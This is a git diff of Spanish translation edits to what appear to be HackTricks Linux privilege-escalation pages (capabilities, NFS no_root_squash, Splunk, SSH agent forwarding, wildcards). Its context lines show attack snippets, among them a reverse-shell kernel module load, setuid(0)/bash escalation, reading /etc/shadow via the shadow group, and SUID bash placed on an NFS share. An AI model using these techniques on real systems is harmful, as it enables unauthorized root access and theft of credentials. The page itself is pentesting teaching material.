ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios: ```bash [Service] User=bob @@ -309,7 +309,7 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` -## Privesc/Escape de Contenedor +## Privesc/Container Escape Las capacidades son útiles cuando **quieres restringir tus propios procesos después de realizar operaciones privilegiadas** (por ejemplo, después de configurar chroot y enlazar a un socket). Sin embargo, pueden ser explotadas al pasarles comandos o argumentos maliciosos que luego se ejecutan como root. @@ -346,7 +346,7 @@ getcap /usr/sbin/tcpdump ``` ### El caso especial de capacidades "vacías" -[De la documentación](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y así es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere capacidades a ese proceso. O, dicho de manera simple, si tienes un binario que: +[Desde la documentación](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y por lo tanto es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere capacidades a ese proceso. O, dicho de manera simple, si tienes un binario que: 1. no es propiedad de root 2. no tiene bits `SUID`/`SGID` establecidos @@ -622,7 +622,7 @@ List **procesos** en el **host** `ps -eaf` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos críticos de seguridad, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores. +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos críticos de seguridad, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y la aislamiento de contenedores. **Esto significa que puedes** **insertar/quitar módulos del kernel en/el kernel de la máquina host.** **Ejemplo con binario** @@ -633,7 +633,7 @@ getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` Por defecto, el comando **`modprobe`** verifica la lista de dependencias y los archivos de mapa en el directorio **`/lib/modules/$(uname -r)`**.\ -Para abusar de esto, creemos una carpeta falsa **lib/modules**: +Para abusar de esto, vamos a crear una carpeta falsa **lib/modules**: ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) @@ -642,7 +642,7 @@ Luego **compila el módulo del kernel que puedes encontrar 2 ejemplos a continua ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` -Finalmente, ejecuta el código python necesario para cargar este módulo del kernel: +Finalmente, ejecuta el código de python necesario para cargar este módulo del kernel: ```python import kmod km = kmod.Kmod() @@ -733,7 +733,7 @@ Otro ejemplo de esta técnica se puede encontrar en [https://www.cyberark.com/re ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **eludir los permisos para leer archivos y para leer y ejecutar directorios**. Su uso principal es para la búsqueda o lectura de archivos. Sin embargo, también permite a un proceso utilizar la función `open_by_handle_at(2)`, que puede acceder a cualquier archivo, incluidos aquellos fuera del espacio de nombres de montaje del proceso. El identificador utilizado en `open_by_handle_at(2)` se supone que es un identificador no transparente obtenido a través de `name_to_handle_at(2)`, pero puede incluir información sensible como números de inode que son vulnerables a manipulaciones. El potencial de explotación de esta capacidad, particularmente en el contexto de contenedores Docker, fue demostrado por Sebastian Krahmer con el exploit shocker, como se analiza [aquí](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **eludir los permisos para leer archivos y para leer y ejecutar directorios**. Su uso principal es para la búsqueda o lectura de archivos. Sin embargo, también permite a un proceso utilizar la función `open_by_handle_at(2)`, que puede acceder a cualquier archivo, incluidos aquellos fuera del espacio de nombres de montaje del proceso. El identificador utilizado en `open_by_handle_at(2)` se supone que es un identificador no transparente obtenido a través de `name_to_handle_at(2)`, pero puede incluir información sensible como números de inode que son vulnerables a la manipulación. El potencial de explotación de esta capacidad, particularmente en el contexto de contenedores Docker, fue demostrado por Sebastian Krahmer con el exploit shocker, como se analiza [aquí](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). **Esto significa que puedes** **eludir las verificaciones de permisos de lectura de archivos y las verificaciones de permisos de lectura/ejecución de directorios.** **Ejemplo con binario** @@ -777,7 +777,7 @@ Dentro de la salida anterior, puedes ver que la capacidad **DAC_READ_SEARCH** es Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) pero en resumen, **CAP_DAC_READ_SEARCH** no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para _**open_by_handle_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**. -El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), lo siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.** +El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), la siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.** ```c #include #include @@ -1152,7 +1152,7 @@ import os os.setuid(0) os.system("/bin/bash") ``` -**Otra manera:** +**Otra forma:** ```python import os import prctl @@ -1184,7 +1184,7 @@ import os os.setgid(42) os.system("/bin/bash") ``` -En este caso, se impersonó al grupo shadow para que puedas leer el archivo `/etc/shadow`: +En este caso, se hizo pasar por el grupo shadow para que puedas leer el archivo `/etc/shadow`: ```bash cat /etc/shadow ``` @@ -1253,11 +1253,11 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Este es un **superconjunto limitante para las capacidades efectivas** que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que **no tiene la capacidad CAP_SETPCAP** en su conjunto efectivo._\ +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitido: Este es un **superconjunto limitante de las capacidades efectivas** que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que **no tiene la capacidad CAP_SETPCAP** en su conjunto efectivo._\ Parece que las capacidades Permitidas limitan las que se pueden usar.\ Sin embargo, Docker también otorga la **CAP_SETPCAP** por defecto, por lo que podrías **establecer nuevas capacidades dentro de las heredables**.\ -Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **agregar cualquier capacidad del conjunto limitante del hilo que llama** a su conjunto heredable_.\ -Parece que solo podemos agregar al conjunto heredable capacidades del conjunto limitante. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredable para escalar privilegios**. +Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **añadir cualquier capacidad del conjunto limitante del hilo que llama** a su conjunto heredable_.\ +Parece que solo podemos añadir al conjunto heredable capacidades del conjunto limitante. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios**. ## CAP_SYS_RAWIO @@ -1271,7 +1271,7 @@ Esto puede ser útil para **escalada de privilegios** y **escape de Docker.** **Ejemplo con binario** -Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías ponerle un backdoor, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu backdoor. +Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías crear una puerta trasera, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu puerta trasera. ```python #Use this python code to kill arbitrary processes import os @@ -1339,7 +1339,7 @@ Tenga en cuenta que si el **entorno** está otorgando esta capacidad, también p **Ejemplo con binario 2** -El siguiente ejemplo es código **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código es del laboratorio "_The Basics: CAP-NET_BIND + NET_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +El siguiente ejemplo es código de **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código es del laboratorio "_The Basics: CAP-NET_BIND + NET_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) ```python import socket import struct @@ -1385,7 +1385,7 @@ count=count+1 ``` ## CAP_NET_ADMIN + CAP_NET_RAW -La capacidad [**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) otorga al titular el poder de **alterar configuraciones de red**, incluyendo configuraciones de firewall, tablas de enrutamiento, permisos de socket y configuraciones de interfaces de red dentro de los espacios de nombres de red expuestos. También permite activar el **modo promiscuo** en las interfaces de red, lo que permite la captura de paquetes a través de los espacios de nombres. +[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacidad otorga al titular el poder de **alterar configuraciones de red**, incluyendo configuraciones de firewall, tablas de enrutamiento, permisos de socket y configuraciones de interfaces de red dentro de los espacios de nombres de red expuestos. También permite activar el **modo promiscuo** en las interfaces de red, lo que permite la captura de paquetes a través de los espacios de nombres. **Ejemplo con binario** @@ -1440,7 +1440,7 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite la ejecución de la llamada al sistema `chroot(2)`, lo que puede permitir potencialmente la fuga de entornos `chroot(2)` a través de vulnerabilidades conocidas: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) habilita la ejecución de la llamada al sistema `chroot(2)`, lo que puede permitir potencialmente la fuga de entornos `chroot(2)` a través de vulnerabilidades conocidas: - [Cómo escapar de varias soluciones chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) - [chw00t: herramienta de escape chroot](https://github.com/earthquake/chw00t/) @@ -1451,7 +1451,7 @@ f.write('New content for the file\n') ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) se separó de la más amplia **CAP_SYS_ADMIN** en Linux 2.6.37, otorgando específicamente la capacidad de usar la llamada `syslog(2)`. Esta capacidad permite la visualización de direcciones del núcleo a través de `/proc` y interfaces similares cuando la configuración `kptr_restrict` está en 1, que controla la exposición de direcciones del núcleo. Desde Linux 2.6.39, el valor predeterminado para `kptr_restrict` es 0, lo que significa que las direcciones del núcleo están expuestas, aunque muchas distribuciones establecen esto en 1 (ocultar direcciones excepto de uid 0) o 2 (siempre ocultar direcciones) por razones de seguridad. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) se separó de la más amplia **CAP_SYS_ADMIN** en Linux 2.6.37, otorgando específicamente la capacidad de usar la llamada `syslog(2)`. Esta capacidad permite la visualización de direcciones del núcleo a través de `/proc` y interfaces similares cuando la configuración `kptr_restrict` está en 1, lo que controla la exposición de direcciones del núcleo. Desde Linux 2.6.39, el valor predeterminado para `kptr_restrict` es 0, lo que significa que las direcciones del núcleo están expuestas, aunque muchas distribuciones establecen esto en 1 (ocultar direcciones excepto de uid 0) o 2 (siempre ocultar direcciones) por razones de seguridad. Además, **CAP_SYSLOG** permite acceder a la salida de `dmesg` cuando `dmesg_restrict` está configurado en 1. A pesar de estos cambios, **CAP_SYS_ADMIN** conserva la capacidad de realizar operaciones `syslog` debido a precedentes históricos. @@ -1468,8 +1468,8 @@ Es una capacidad predeterminada de docker ([https://github.com/moby/moby/blob/ma Esta capacidad permite realizar escalaciones de privilegios (a través de lectura completa del disco) en el host, bajo estas condiciones: -1. Tener acceso inicial al host (No privilegiado). -2. Tener acceso inicial al contenedor (Privilegiado (EUID 0), y efectivo `CAP_MKNOD`). +1. Tener acceso inicial al host (sin privilegios). +2. Tener acceso inicial al contenedor (privilegiado (EUID 0), y efectivo `CAP_MKNOD`). 3. El host y el contenedor deben compartir el mismo espacio de nombres de usuario. **Pasos para crear y acceder a un dispositivo de bloque en un contenedor:** @@ -1503,13 +1503,13 @@ Este enfoque permite al usuario estándar acceder y potencialmente leer datos de ### CAP_SETPCAP -**CAP_SETPCAP** permite a un proceso **alterar los conjuntos de capacidades** de otro proceso, permitiendo la adición o eliminación de capacidades de los conjuntos efectivo, heredable y permitido. Sin embargo, un proceso solo puede modificar las capacidades que posee en su propio conjunto permitido, asegurando que no puede elevar los privilegios de otro proceso más allá de los suyos. Las actualizaciones recientes del kernel han endurecido estas reglas, restringiendo `CAP_SETPCAP` a solo disminuir las capacidades dentro de su propio conjunto permitido o el de sus descendientes, con el objetivo de mitigar riesgos de seguridad. Su uso requiere tener `CAP_SETPCAP` en el conjunto efectivo y las capacidades objetivo en el conjunto permitido, utilizando `capset()` para modificaciones. Esto resume la función principal y las limitaciones de `CAP_SETPCAP`, destacando su papel en la gestión de privilegios y la mejora de la seguridad. +**CAP_SETPCAP** permite a un proceso **alterar los conjuntos de capacidades** de otro proceso, permitiendo la adición o eliminación de capacidades de los conjuntos efectivos, heredables y permitidos. Sin embargo, un proceso solo puede modificar las capacidades que posee en su propio conjunto permitido, asegurando que no puede elevar los privilegios de otro proceso más allá de los suyos. Las actualizaciones recientes del kernel han endurecido estas reglas, restringiendo `CAP_SETPCAP` a solo disminuir las capacidades dentro de su propio conjunto permitido o el de sus descendientes, con el objetivo de mitigar riesgos de seguridad. Su uso requiere tener `CAP_SETPCAP` en el conjunto efectivo y las capacidades objetivo en el conjunto permitido, utilizando `capset()` para modificaciones. Esto resume la función principal y las limitaciones de `CAP_SETPCAP`, destacando su papel en la gestión de privilegios y la mejora de la seguridad. -**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivo, heredable y permitido de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede usar esta capacidad. +**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede usar esta capacidad. Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitido**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio. -Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o en el conjunto de capacidades permitido de sus descendientes**. Este cambio se introdujo para reducir los posibles riesgos de seguridad asociados con la capacidad. +Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o en el conjunto de capacidades permitido de sus descendientes**. Este cambio se introdujo para reducir los riesgos de seguridad potenciales asociados con la capacidad. Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitido. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos. diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index 90a1485a9..33f3bd35c 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -50,7 +50,7 @@ codec => rubydebug ``` Aquí, **interval** determina la frecuencia de ejecución en segundos. En el ejemplo dado, el comando **whoami** se ejecuta cada 120 segundos, con su salida dirigida a **/tmp/output.log**. -Con **config.reload.automatic: true** en **/etc/logstash/logstash.yml**, Logstash detectará y aplicará automáticamente nuevas configuraciones de pipeline o modificaciones sin necesidad de reiniciar. Si no hay un comodín, aún se pueden hacer modificaciones a las configuraciones existentes, pero se recomienda precaución para evitar interrupciones. +Con **config.reload.automatic: true** en **/etc/logstash/logstash.yml**, Logstash detectará y aplicará automáticamente nuevas configuraciones de pipeline o modificaciones sin necesidad de reiniciar. Si no hay un comodín, aún se pueden hacer modificaciones a las configuraciones existentes, pero se aconseja tener precaución para evitar interrupciones. ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 0262e9154..0e7207b80 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -12,7 +12,7 @@ Lee el _ **/etc/exports** _ archivo, si encuentras algún directorio que esté c Si has encontrado esta vulnerabilidad, puedes explotarla: -- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada el binario **/bin/bash** y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash. +- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada el **/bin/bash** binario y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash. ```bash #Attacker, as root user mkdir /tmp/pe @@ -43,8 +43,8 @@ cd > [!NOTE] > Tenga en cuenta que si puede crear un **túnel desde su máquina a la máquina víctima, aún puede usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\ -> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso, **no podrá usar** en ningún caso la **explotación remota** y necesitará **abusar de este truco**.\ -> Otro requisito necesario para que la explotación funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\ +> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso, **no podrá usar** en ningún caso el **exploit remoto** y necesitará **abusar de este truco**.\ +> Otro requisito necesario para que el exploit funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\ > --_No estoy seguro de que si `/etc/export` está indicando una dirección IP, este truco funcionará_-- ## Basic Information @@ -62,7 +62,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib ``` ### Realizando el Explotación -La explotación implica crear un programa simple en C (`pwn.c`) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC: +La explotación implica crear un programa C simple (`pwn.c`) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC: 1. **Compilar el código de explotación:** @@ -89,7 +89,7 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ ## Bonificación: NFShell para Acceso a Archivos Sigiloso -Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo al que se accede, permitiendo la interacción con archivos en el recurso compartido sin problemas de permisos: +Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, permitiendo la interacción con archivos en el recurso compartido sin problemas de permisos: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 36797669a..f6001d213 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -68,7 +68,7 @@ libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` En este caso, intentemos suplantar `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -Así que, verifique las funciones de esta biblioteca utilizadas por el **`su`** binario: +Así que, verifiquemos las funciones de esta biblioteca utilizadas por el **`su`** binario: ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e46dccc3a..7c84d4349 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -37,6 +37,6 @@ mkdir rootfs runc run demo ``` > [!CAUTION] -> Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario no privilegiado simplemente no puede funcionar (a menos que tengas una configuración sin root). Hacer que una configuración sin root sea la predeterminada no es generalmente una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de los contenedores sin root. +> Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario sin privilegios simplemente no puede funcionar (a menos que tengas una configuración sin root). Hacer que una configuración sin root sea la predeterminada no es generalmente una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de los contenedores sin root. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index a0cdbea5f..76bf0fc89 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -6,7 +6,7 @@ [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) es un **sistema de etiquetado**. Cada **proceso** y cada objeto del sistema de **archivos** tiene una **etiqueta**. Las políticas de SELinux definen reglas sobre lo que se **permite hacer a una etiqueta de proceso con todas las demás etiquetas** en el sistema. -Los motores de contenedores lanzan **procesos de contenedor con una única etiqueta SELinux confinada**, generalmente `container_t`, y luego establecen que el contenedor dentro del contenedor tenga la etiqueta `container_file_t`. Las reglas de la política de SELinux básicamente dicen que los **procesos `container_t` solo pueden leer/escribir/ejecutar archivos etiquetados como `container_file_t`**. Si un proceso de contenedor escapa del contenedor e intenta escribir en contenido en el host, el núcleo de Linux deniega el acceso y solo permite que el proceso de contenedor escriba en contenido etiquetado como `container_file_t`. +Los motores de contenedores lanzan **procesos de contenedor con una única etiqueta SELinux confinada**, generalmente `container_t`, y luego establecen el contenedor dentro del contenedor para que esté etiquetado como `container_file_t`. Las reglas de la política de SELinux básicamente dicen que los **procesos `container_t` solo pueden leer/escribir/ejecutar archivos etiquetados como `container_file_t`**. Si un proceso de contenedor escapa del contenedor e intenta escribir en contenido en el host, el núcleo de Linux deniega el acceso y solo permite que el proceso de contenedor escriba en contenido etiquetado como `container_file_t`. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index ce365c56b..ce5c67275 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ## Ejemplo de enlace de socket con Python -En el siguiente ejemplo se **crea un socket unix** (`/tmp/socket_test.s`) y todo lo **recibido** va a ser **ejecutado** por `os.system`. Sé que no vas a encontrar esto en la vida real, pero el objetivo de este ejemplo es ver cómo se ve un código que utiliza sockets unix y cómo gestionar la entrada en el peor de los casos. +En el siguiente ejemplo se **crea un socket unix** (`/tmp/socket_test.s`) y todo lo **recibido** va a ser **ejecutado** por `os.system`. Sé que no vas a encontrar esto en la vida real, pero el objetivo de este ejemplo es ver cómo se ve un código que utiliza sockets unix y cómo manejar la entrada en el peor de los casos. ```python:s.py import socket import os, os.path @@ -24,7 +24,7 @@ print(datagram) os.system(datagram) conn.close() ``` -**Ejecuta** el código usando python: `python s.py` y **verifica cómo el socket está escuchando**: +**Ejecuta** el código usando python: `python s.py` y **verifica cómo está escuchando el socket**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 0c329ff59..883c693f1 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -4,13 +4,13 @@ Si **enumerando** una máquina **internamente** o **externamente** encuentras **Splunk en ejecución** (puerto 8090), si tienes la suerte de conocer alguna **credencial válida** puedes **abusar del servicio de Splunk** para **ejecutar un shell** como el usuario que ejecuta Splunk. Si lo está ejecutando root, puedes escalar privilegios a root. -Además, si ya eres **root y el servicio de Splunk no está escuchando solo en localhost**, puedes **robar** el archivo de **contraseña** **del** servicio de Splunk y **crackear** las contraseñas, o **agregar nuevas** credenciales a él. Y mantener persistencia en el host. +Además, si ya eres root y el servicio de Splunk no está escuchando solo en localhost, puedes **robar** el archivo de **contraseña** **del** servicio de Splunk y **crackear** las contraseñas, o **agregar nuevas** credenciales a él. Y mantener persistencia en el host. En la primera imagen a continuación puedes ver cómo se ve una página web de Splunkd. ## Resumen de la Explotación del Agente Splunk Universal Forwarder -Para más detalles, consulta la publicación [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Este es solo un resumen: +Para más detalles, consulta la publicación [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Esto es solo un resumen: **Descripción de la Explotación:** Una explotación que apunta al Agente Splunk Universal Forwarder (UF) permite a los atacantes con la contraseña del agente ejecutar código arbitrario en sistemas que ejecutan el agente, comprometiendo potencialmente toda una red. @@ -29,7 +29,7 @@ Una explotación que apunta al Agente Splunk Universal Forwarder (UF) permite a **Impacto:** -- Compromiso total de la red con permisos a nivel de SYSTEM/root en cada host. +- Compromiso total de la red con permisos de nivel SYSTEM/root en cada host. - Potencial para deshabilitar el registro para evadir la detección. - Instalación de puertas traseras o ransomware. diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index f0e2a5629..8f614f1ab 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -6,7 +6,7 @@ ``` ForwardAgent yes ``` -Si eres root dentro de la máquina, probablemente **puedas acceder a cualquier conexión ssh realizada por cualquier agente** que puedas encontrar en el _/tmp_ directorio. +Si eres root dentro de la máquina, probablemente **puedas acceder a cualquier conexión ssh realizada por cualquier agente** que puedas encontrar en el _/tmp_ directorio Suplantar a Bob usando uno de los ssh-agent de Bob: ```bash diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index c17b13dcf..985a23742 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -47,7 +47,7 @@ cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` -Entonces, cuando **7z** se ejecute, tratará `root.txt` como un archivo que contiene la lista de archivos que debe comprimir (eso es lo que indica la existencia de `@root.txt`) y cuando 7z lea `root.txt`, leerá `/file/you/want/to/read` y **como el contenido de este archivo no es una lista de archivos, generará un error** mostrando el contenido. +Entonces, cuando **7z** se ejecute, tratará `root.txt` como un archivo que contiene la lista de archivos que debe 